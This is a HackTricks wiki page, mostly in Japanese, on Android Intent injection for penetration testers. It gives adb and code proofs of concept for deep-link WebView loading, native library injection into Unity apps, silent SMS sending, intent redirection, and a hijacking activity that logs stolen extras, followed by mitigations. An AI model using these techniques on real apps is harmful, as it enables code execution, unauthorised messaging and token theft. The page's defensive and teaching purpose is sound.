Intent Injection

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Intent injection は、攻撃者が制御する Intents や後で Intents に変換されるデータを受け取るコンポーネントを悪用します。Android アプリ pentests で非常によく見られるパターンは主に次の2つです:

  • エクスポートされた Activities/Services/BroadcastReceivers に細工した extras を渡し、それが後で特権を持つ非エクスポートコンポーネントへ転送されるケース。
  • エクスポートされた VIEW/BROWSABLE deep links をトリガーし、攻撃者制御の URLs を内部 WebViews やその他の機密性の高いシンクに転送するケース。

アプリが次のようなカスタムスキームの deep link を公開している場合:

myscheme://com.example.app/web?url=<attacker_url>

受信側の Activity が url クエリパラメータを WebView に渡す場合、アプリに任意のリモートコンテンツを自身の WebView コンテキストでレンダリングさせることができます。

PoC via adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS executes inside the app’s WebView profile.
  • If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed @JavascriptInterface objects, steal WebView cookies/local storage, and pivot.

See also:

Webview Attacks

Order-of-checks bug enabling JavaScript

繰り返し見られるバグは、最終的な URL allowlist/verification が完了する前に JavaScript(または他の緩い WebView 設定)を有効にしてしまうことです。初期のヘルパーがあなたの deep link を受け入れ、先に WebView が設定されると、後のチェックが不完全または遅すぎても、最終ロードは既に JavaScript が有効な状態で行われます。

What to look for in decompiled code:

  • URL を異なる方法で解析/分割/再構築する複数のヘルパー(正規化が一貫していない)。
  • Calls to getSettings().setJavaScriptEnabled(true) before the last host/path allowlist check.
  • パイプライン例: 解析 → 部分検証 → WebView 設定 → 最終検証 → loadUrl。

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.

A dangerous, undocumented flag leads to native code execution during very early process initialization:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

動作する理由

  • Intent の extra unity は Unity ランタイムのフラグとして解析される。
  • pre-init フラグを与えると、Unity は許可された linker namespace パス内の攻撃者制御下の ELF パスを指す(制約は下参照)。

悪用の条件

  • Unity のエントリ Activity が exported になっている(通常デフォルトで true)。
  • ブラウザ経由のワンクリックリモートの場合: エントリ Activity が android.intent.category.BROWSABLE を宣言しており、intent: URL から extras を渡せる。

ローカルでの悪用(同デバイス)

  1. ペイロード ELF を被害者アプリが読み取れるパスに配置する。最も簡単なのは、自分の攻撃者アプリに悪意のあるライブラリを同梱し、攻撃者の manifest に次を設定して /data/app/.../lib/<abi>/ 下に展開されるようにすること:
<application android:extractNativeLibs="true" ...>
  1. 被害者の Unity アクティビティを、unity extra の CLI pre-init フラグで起動する。例: ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.

注意

  • 正確な /data/app/... パスはデバイスやインストールごとに異なります。An attacker app は実行時に自身の native lib dir を getApplicationInfo().nativeLibraryDir で取得し、それをトリガーに伝えることができます。
  • ファイルは有効な ELF であれば .so で終わる必要はありません — dlopen() は ELF ヘッダを見ており、拡張子は問題にしません。

Remote one‑click via browser (conditional) もし Unity の entry activity が BROWSABLE で exported されている場合、ウェブサイトは intent: URL を介して extras を渡すことができます:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

しかし、現代のAndroidでは動的リンカの名前空間とSELinuxが多くの公開パス(例: /sdcard/Download)からのロードをブロックします。以下のようなエラーが表示されます:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

バイパス戦略: 攻撃者が制御するバイトをアプリのプライベートストレージ内にキャッシュするアプリ(例: HTTP caches)を狙う。許可されたパスに /data やアプリのプライベートディレクトリが含まれるため、-xrsdk-pre-init-library をアプリのキャッシュ内の絶対パスに指定するとリンカの制約を満たし、コード実行を得られる可能性がある。これは他の Android アプリで見られた cache-to-ELF RCE パターンと類似している。

Confused‑Deputy: ACTION_SENDTO を用いたサイレントな SMS/MMS (Wear OS Google Messages)

一部のデフォルトメッセージングアプリは暗黙のメッセージングインテントを誤って自動実行し、これを confused‑deputy の原始的手段にしてしまう:権限を持たない任意のアプリが Intent.ACTION_SENDTOsms:, smsto:, mms:, または mmsto: と共に発行すると、確認 UI や SEND_SMS 権限なしで即時送信を引き起こせる。

要点

  • トリガー: 暗黙の ACTION_SENDTO + メッセージ用 URI スキーム。
  • データ: 受信者は URI に設定し、メッセージ本文は "sms_body" extra に入れる。
  • 権限: 不要(SEND_SMS は不要)、デフォルトの SMS/MMS ハンドラに依存する。
  • 観測例: Google Messages for Wear OS(2025年5月に修正)。他のハンドラも同様に評価する必要がある。

最小ペイロード (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (特別な権限不要)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

攻撃対象領域の拡大 (Wear OS)

  • アクティビティを起動可能な任意のコンポーネントは同じペイロードを発火できる: Activities、foreground Services(FLAG_ACTIVITY_NEW_TASK を使用)、Tiles、Complications。
  • デフォルトハンドラが自動送信する場合、OEMポリシーによっては悪用がワンタップで完了するか、バックグラウンドから完全にサイレントで行われる可能性がある。

Pentest チェックリスト

  • 対象で ACTION_SENDTO を解決してデフォルトハンドラを特定する;作成用UIを表示するかサイレントに送信するかを確認する。
  • 4つのスキーム(sms:, smsto:, mms:, mmsto:)と extras(sms_body、MMSの場合は任意で subject)を試して挙動の違いを確認する。
  • 実機でテストする際は、有料の宛先/プレミアムレート番号を考慮する。

Other classic Intent injection primitives

  • startActivity/sendBroadcast を攻撃者が供給した Intent extras で呼び出し、後で再解析(Intent.parseUri(...))されて実行されるパターン。
  • 許可チェックなしに Intents を非-exported な機密コンポーネントへ転送する exported proxy コンポーネント。

Automating exported-component testing (Smali-driven ADB generation)

exported コンポーネントが特定の extras を期待する場合、ペイロードの形状を推測すると時間の無駄や false negatives を招く。Smali からキー/型を直接発見して、実行可能な adb コマンドを生成することで自動化できる。

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile して Smali をスキャンし、getStringExtra("key")getIntExtra("id", ...)getParcelableExtra("redirect_intent")getSerializableExtra(...)getBooleanExtra(...)getAction()getData() のような呼び出しから、各コンポーネントが消費する extras やフィールドを推測する。
  • Output: すべての exported Activity/Service/Receiver/Provider ごとに、ツールは短い説明と正しい型のフラグ付きで実行できる正確な adb shell am ... / cmd content ... コマンドを出力する。

インストール

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

使用法

python apk-components-inspector.py target.apk

Intent Injection

Intent Injectionは、外部から送られたIntentを適切に検証せずに処理するAndroidアプリで発生する脆弱性です。悪意のあるIntentにより、アプリの予期しないActivity/Service/BroadcastReceiverが起動されたり、敏感なデータや機能が悪用される可能性があります。IntentやIntent extras、URI、setComponent/setPackage、flagsなどの不適切な取り扱いが原因になります。

何を探すか

  • exported=“true” の Activity/Service/BroadcastReceiver(明示的にexportedされている、または intent-filter が存在するもの)
  • 外部から受け取った Intent を検証せずにそのまま処理しているコード(extrasの信頼、URIの信頼、action/categorieの未チェック)
  • startActivity/startService/sendBroadcast による外部Intentの直接利用
  • setComponent/setPackage を使って送信元を制限していない箇所
  • deep link を処理している箇所での不十分な検証

例: Manifest

<activity android:name=".ShareActivity"
          android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="example" android:host="open"/>
    </intent-filter>
</activity>

上記のような deep link を受け付けるActivityは、外部から簡単にIntentを送られる可能性があります。

例: 脆弱なコード

// VulnerableActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    Intent intent = getIntent();
    String action = intent.getStringExtra("action");
    if (action != null) {
        // 外部からの action をそのまま実行
        performAction(action);
    }
}

このコードは外部から渡された extras を検証せずに実行しており、任意の操作がトリガーされる可能性があります。

攻撃例(検証手順)

  1. adb またはブラウザから Intent を送信して挙動を確認する:
    • am コマンド例: am start -a android.intent.action.VIEW -d “example://open/path” com.example.app/.ShareActivity
  2. extras を付けて任意のデータを送る:
    • am start –es “action” “malicious_action” -n com.example.app/.VulnerableActivity
  3. payload により内部処理や外部通信のトリガー、または別コンポーネントの起動を試す。

注意: 実行は常に法的に許可された範囲のみで行うこと。

緩和策

  • exported 属性を必要なものだけに限定する。不要な場合は android:exported=“false” を設定する。
  • Intent を受け取ったら、action、data (URI)、categories、extras を厳密に検証する。
  • 外部からの deep link はホワイトリスト化する(期待する scheme/host/path を検証)。
  • 可能な場合は受信側で権限チェックを行う(android:permission で保護、またはコード内で Context.checkCallingPermission を利用)。
  • setPackage/setComponent を使って送信先を制限する(送信側で)。
  • getCallingPackage や Binder.getCallingUid() を使って呼び出し元を検証できる場合は利用する。
  • 不必要に sensitive な操作を Intent extras に依存させない。extras の内容は信頼しない。
  • Intent flags(例: FLAG_ACTIVITY_NEW_TASK)や PendingIntent の取り扱いにも注意する(特に PendingIntent は hijack のリスクがある)。

テスト用チェックリスト

  • exported コンポーネントのリストアップ
  • 各コンポーネントに対して意図的に不正なIntentを送って挙動を観察
  • extras に悪意のある値を入れて副作用を確認
  • deep link 処理で予期しないファイルやデータアクセスが起きないか確認

上記を踏まえ、Intent を扱う全ての箇所で入力の検証と最小権限の原則を徹底してください。

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras チートシート(型指定フラグ)

  • 文字列: --es key value | 文字列配列: --esa key v1,v2
  • 整数: --ei key 123 | 整数配列: --eia key 1,2,3
  • ブール: --ez key true|false
  • Long: --el key 1234567890
  • 浮動小数点: --ef key 1.23
  • URI(extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • 共通フラグ: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro tips for Providers

  • エージェントなしで ContentProviders にアクセスするには adb shell cmd content query|insert|update|delete ... を使用する。
  • SQLi probing では、基盤となる provider が SQLite バックエンドの場合、--projection--where(別名 selection)を変えて試す。

Full-pipeline automation (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
adb コマンドを解析して実行するヘルパースクリプト ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

デバイス上で実行: インスペクタはPythonベースで、Termuxやroot化された端末上で、`apktool`/`androguard`が利用可能な環境で動作します。

---

## Intent Redirection (CWE-926) – 検出と悪用

Pattern
- エクスポートされたエントリポイント (Activity/Service/Receiver) が受信した Intent を読み取り、送信元やデータを検証せずに内部または外部へ転送する。例:
- `startActivity(getIntent())`
- `startActivity(intent)` (`intent` が `redirect_intent`/`next_intent`/`pending_intent` のような extra から来ている、または `Intent.parseUri(...)` から生成されている場合)
- `action`/`data`/`component` フィールドを検証せずに信頼している;呼び出し元の識別を検証していない。

What to search in Smali/Java
- `getParcelableExtra("redirect_intent")`、`getParcelable("intent")`、`getIntent().getParcelableExtra(...)` の使用。
- 攻撃者に影響された Intents に対する直接の `startActivity(...)`、`startService(...)`、`sendBroadcast(...)`。
- `getCallingPackage()`/`getCallingActivity()` チェックやカスタムパーミッションゲートの欠如。

ADB PoC templates
- 追加の Intent を特権のある内部 Activity に転送する Proxy Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • redirect_intent parcelable を処理するエクスポートされた Service:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver(検証を行わず中継する):
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTaskスタイルの動作に役立つフラグ

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

実際の事例(影響は様々):

  • CVE-2024-26131 (Element Android): exported フローにより WebView の操作、PIN のバイパス、ログインの乗っ取りが発生。
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → システムレベルの影響。
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → 任意ファイルアクセス(ユーザー操作あり)。
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents がコンテンツを leak する。
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

脅威モデル

  • App A は App B から implicit Intent を使って機密な結果を受け取ることを期待している(例: OAuth redirect、document picker の結果、IMAGE_CAPTURE の返却、またはカスタム callback action)。
  • Attacker App C は同じ action/category/data にマッチする <intent-filter> を持つ exported component を公開する。B が implicit Intent を解決するとき、resolver は chooser を表示する場合があり、ユーザーが C を選択する(またはデフォルトに設定する)と、payload は A の代わりに攻撃者のコンポーネントに配信される。

Minimal PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

ハンドラのスケルトン:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Notes

  • 一致性の詳細度が重要です(action + categories + data)。C のフィルタが B の送信する Intent に対して具体的であるほど、それが表示されたり自動選択される可能性が高くなります。
  • これは、アプリが別のアプリに URL を処理して結果を返すことを期待する場合の deep links(VIEW + BROWSABLE)にも当てはまります。

Pentest guidance

  • 非明示的な Intent を使っている startActivity/startActivityForResult/registerForActivityResult 呼び出しを対象アプリから grep します。
  • extrasclipData、または getData() にトークンを含む Intent を調査し、第三者が互換性のあるフィルタを登録できるか確認します。
  • implicit フローを explicit Intent(setPackage()/setComponent() を設定)に置き換えること、または exported な receiver/service に対して caller-permission/署名付き permissions を要求することを推奨します。

Mitigations

  • コールバック、トークン、認証結果などの機密フローには explicit Intent を優先してください。
  • クロスアプリが必要な場合は、受信コンポーネントに permission 要件を追加し、呼び出し元の識別を検証してください。
  • Intent filters は必要最小限(scheme/host/path/MIME のみに限定)かつ厳格に設定してください。

レゾルバの決定を観察する (FLAG_DEBUG_LOG_RESOLUTION)

送信側を制御できる場合、implicit Intent に Intent.FLAG_DEBUG_LOG_RESOLUTION を追加すると、Android が解決方法と選択されるコンポーネントをログに記録します。

例:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

adb logcatで表示されるのは解決のトレースと最終コンポーネント(例: com.android.camera2/com.android.camera.CaptureActivity)です。

CLIのヒント

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

これは、デバイス/エミュレータ上の候補ハンドラを列挙し、テスト中にどのコンポーネントが実際に Intent を受け取るかを正確に確認するのに役立ちます。


参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする